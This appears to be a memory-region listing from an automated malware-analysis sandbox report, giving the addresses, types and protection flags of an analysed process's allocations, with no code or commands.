trusted library allocation
page read and write
20E69B70000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E50CE9000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E698C0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
7FFBAC405000
trusted library allocation
page read and write
20E50CB2000
trusted library allocation
page read and write
20E69865000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69B50000
trusted library allocation
page read and write
26453790000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E69881000
trusted library allocation
page read and write
20E69287000
trusted library allocation
page read and write
20E69867000
trusted library allocation
page read and write
94C6289000
stack
page read and write
20E50CE0000
trusted library allocation
page read and write
7FFBAC640000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E692C0000
trusted library allocation
page read and write
20E692F0000
trusted library allocation
page read and write
20E69105000
heap
page read and write
20E52056000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E50CB4000
trusted library allocation
page read and write
7FFBAC4F0000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E50B70000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E68E86000
heap
page read and write
20E50CE1000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
7FFBAC01D000
trusted library allocation
page execute and read and write
20E698A0000
trusted library allocation
page read and write
264534B0000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E69146000
heap
page read and write
20E5204D000
trusted library allocation
page read and write
20E52032000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
20E69882000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E4EE59000
heap
page read and write
20E50D65000
trusted library allocation
page read and write
20E50CEE000
trusted library allocation
page read and write
20E69287000
trusted library allocation
page read and write
20E69420000
trusted library allocation
page read and write
20E692A3000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
264528B8000
heap
page read and write
20E693E0000
trusted library allocation
page read and write
20E6994D000
trusted library allocation
page read and write
7FFBAC110000
trusted library allocation
page execute and read and write
20E69B10000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC0D6000
trusted library allocation
page execute and read and write
20E693D0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
8956EFE000
stack
page read and write
26452AF0000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
21E547E8000
heap
page read and write
20E692B0000
trusted library allocation
page read and write
2645291F000
heap
page read and write
94C4E75000
stack
page read and write
20E692A0000
trusted library allocation
page read and write
7FFBAC220000
trusted library allocation
page read and write
20E4EDB5000
heap
page read and write
20E693B0000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E6986E000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E50D01000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E4EDB0000
heap
page read and write
20E50CB0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC350000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E694A0000
trusted library allocation
page read and write
20E698B0000
trusted library allocation
page read and write
7FFBAC01B000
trusted library allocation
page execute and read and write
20E69860000
trusted library allocation
page read and write
94C517E000
stack
page read and write
20E4EDEB000
heap
page read and write
264537E0000
trusted library allocation
page read and write
21E54A65000
heap
page read and write
20E69B60000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC490000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
20E68E37000
heap
page read and write
20E50C80000
trusted library allocation
page read and write
20E50C67000
heap
page execute and read and write
20E698C0000
trusted library allocation
page read and write
7FFBAC2A0000
trusted library allocation
page read and write
20E68EF7000
heap
page read and write
20E693F0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CEA000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69874000
trusted library allocation
page read and write
20E698A7000
trusted library allocation
page read and write
20E69960000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E692B0000
trusted library allocation
page read and write
20E6303D000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
7FFBAC003000
trusted library allocation
page read and write
20E69105000
heap
page read and write
94C608E000
stack
page read and write
20E693B3000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E50CE0000
trusted library allocation
page read and write
7FFBAC370000
trusted library allocation
page read and write
20E692C2000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E690DC000
heap
page read and write
20E69280000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69950000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
7FFBAC0AC000
trusted library allocation
page execute and read and write
20E50CB4000
trusted library allocation
page read and write
20E50CB0000
trusted library allocation
page read and write
20E50700000
heap
page read and write
7FFBAC510000
trusted library allocation
page read and write
2CE8D7D000
stack
page read and write
20E693B0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
7FFBAC192000
trusted library allocation
page read and write
20E6986D000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
166F3C20000
heap
page read and write
20E50CE1000
trusted library allocation
page read and write
20E698A0000
trusted library allocation
page read and write
94C55BF000
stack
page read and write
20E506F2000
heap
page read and write
20E699E0000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E693B0000
trusted library allocation
page read and write
20E50CC0000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E50CE1000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
264528FB000
heap
page read and write
21E549B0000
heap
page read and write
20E69880000
trusted library allocation
page read and write
20E696F0000
trusted library allocation
page read and write
7FF7EB618000
unkown
page readonly
20E50CB0000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E52258000
trusted library allocation
page read and write
7FFBAC0A0000
trusted library allocation
page read and write
20E69875000
trusted library allocation
page read and write
20E699A0000
trusted library allocation
page read and write
20E50CE1000
trusted library allocation
page read and write
7FFBABFF0000
trusted library allocation
page read and write
7FFBAC280000
trusted library allocation
page read and write
7FFBABFF3000
trusted library allocation
page execute and read and write
264528FB000
heap
page read and write
20E52001000
trusted library allocation
page read and write
20E69960000
trusted library allocation
page read and write
7FFBAC520000
trusted library allocation
page read and write
7FFBAC00C000
trusted library allocation
page read and write
20E690A0000
heap
page read and write
20E50CC3000
trusted library allocation
page read and write
20E69440000
trusted library allocation
page read and write
7FFBAC530000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E50CE4000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E69950000
trusted library allocation
page read and write
20E61F93000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E692A0000
trusted library allocation
page read and write
20E69280000
trusted library allocation
page read and write
20E50680000
heap
page read and write
20E50CE0000
trusted library allocation
page read and write
20E693C0000
trusted library allocation
page read and write
20E69400000
trusted library allocation
page read and write
20E50CE6000
trusted library allocation
page read and write
166F3C90000
heap
page read and write
20E69874000
trusted library allocation
page read and write
7FFBAC3F8000
trusted library allocation
page read and write
20E692B0000
trusted library allocation
page read and write
20E69980000
trusted library allocation
page read and write
20E69290000
trusted library allocation
page read and write
20E693D0000
trusted library allocation
page read and write
20E506E0000
heap
page readonly
20E69860000
trusted library allocation
page read and write
20E50CE2000
trusted library allocation
page read and write
20E506F5000
heap
page read and write
20E693B0000
trusted library allocation
page read and write
21E56938000
heap
page read and write
20E69960000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69860000
trusted library allocation
page read and write
20E69870000
trusted library allocation
page read and write
20E69880000
trusted library allocation
page read and write
20E69890000
trusted library allocation
page read and write
20E69158000
heap
page read and write
There are 876 hidden memdumps, click here to show them.